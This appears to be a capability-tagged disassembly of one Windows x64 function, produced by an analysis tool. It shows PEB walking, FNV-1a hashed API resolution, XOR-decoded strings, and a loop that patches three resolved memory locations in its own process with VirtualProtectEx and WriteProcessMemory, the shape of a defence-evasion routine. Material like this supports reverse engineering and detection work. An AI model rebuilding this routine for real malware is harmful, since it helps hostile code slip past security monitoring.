Function at 0x1400027f0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp - 8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, qword gs:[0x60]
mov r15, rax
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov rbx, rsi
nop
mov r9, qword [rbx + 0x30]
xor r12d, r12d
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400028c8
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400028c8
mov edi, dword [r11 + 0x20]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400028c3
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1400028a0
cmp edx, 0x53b2070f
je 0x140002b64
test r8d, r8d
jne 0x140002880
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x1400028dd
cmp qword [rax + 0x30], r12
jne 0x140002850
mov r8, r12
mov dword [rbp - 0x40], 0x91988f94
mov rcx, r12
mov dword [rbp - 0x3c], 0x6d64d192
mov word [rbp - 0x38], 0x6e
mov byte [rbp - 0x36], 1
nop dword [rax + rax]
lea eax, [rcx - 6]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 9
jb 0x140002900
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x36], r12b
call r8
lea r14, [0x1400070c8]
mov rdi, rax
mov rbx, r14
mov esi, r12d
nop dword [rax + rax]
mov rdx, qword [rbx - 8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx], rax
mov rcx, rdi
mov rdx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x18], rax
mov rcx, rdi
mov rdx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add esi, 3
mov qword [rbx + 0x30], rax
lea rbx, [rbx + 0x48]
cmp esi, 3
jb 0x140002930
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140002a08
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140002a08
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140002a03
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400029e0
cmp edx, 0xe463da3c
je 0x140002b83
test r8d, r8d
jne 0x1400029c0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140002a1d
cmp qword [rax + 0x30], r12
jne 0x140002990
mov rax, r12
xor ecx, ecx
call rax
mov rbx, rax
mov dword [rbp - 0x30], 0xa48fa494
mov rcx, r12
mov dword [rbp - 0x2c], 0xa491a498
mov dword [rbp - 0x28], 0xa492
mov edi, 0x5b06
mov byte [rbp - 0x24], 1
nop dword [rax + rax]
movzx eax, cx
sub ax, di
xor word [rbp + rcx*2 - 0x30], ax
inc rcx
cmp rcx, 5
jb 0x140002a50
lea rdx, [rbp - 0x30]
mov byte [rbp - 0x24], r12b
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
jne 0x140002aca
mov dword [rbp - 0x20], 0xa4afa4b4
mov rcx, r12
mov dword [rbp - 0x1c], 0xa4b1a4b8
mov dword [rbp - 0x18], 0xa4b2
mov byte [rbp - 0x14], 1
nop word [rax + rax]
movzx eax, cx
sub ax, di
xor word [rbp + rcx*2 - 0x20], ax
inc rcx
cmp rcx, 5
jb 0x140002aa0
lea rdx, [rbp - 0x20]
mov byte [rbp - 0x14], r12b
mov rcx, rbx
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x140002b31
mov edi, r12d
nop dword [rax]
mov r8, qword [r14 + 8]
lea rax, [rbp - 0x10]
mov rdx, qword [r14]
mov r9d, 0x40
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdx, qword [r14]
mov rcx, r15
mov r9, qword [r14 + 8]
mov r8, rdx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, dword [rbp - 0x10]
mov rcx, r15
mov r8, qword [r14 + 8]
mov ebx, eax
mov rdx, qword [r14]
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test ebx, ebx
je 0x140002b31
inc edi
add r14, 0x18
cmp edi, 3
jb 0x140002ad0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140003930
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov r8d, dword [rcx + rdx*4]
add r8, r9
jmp 0x1400028e0
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140002a20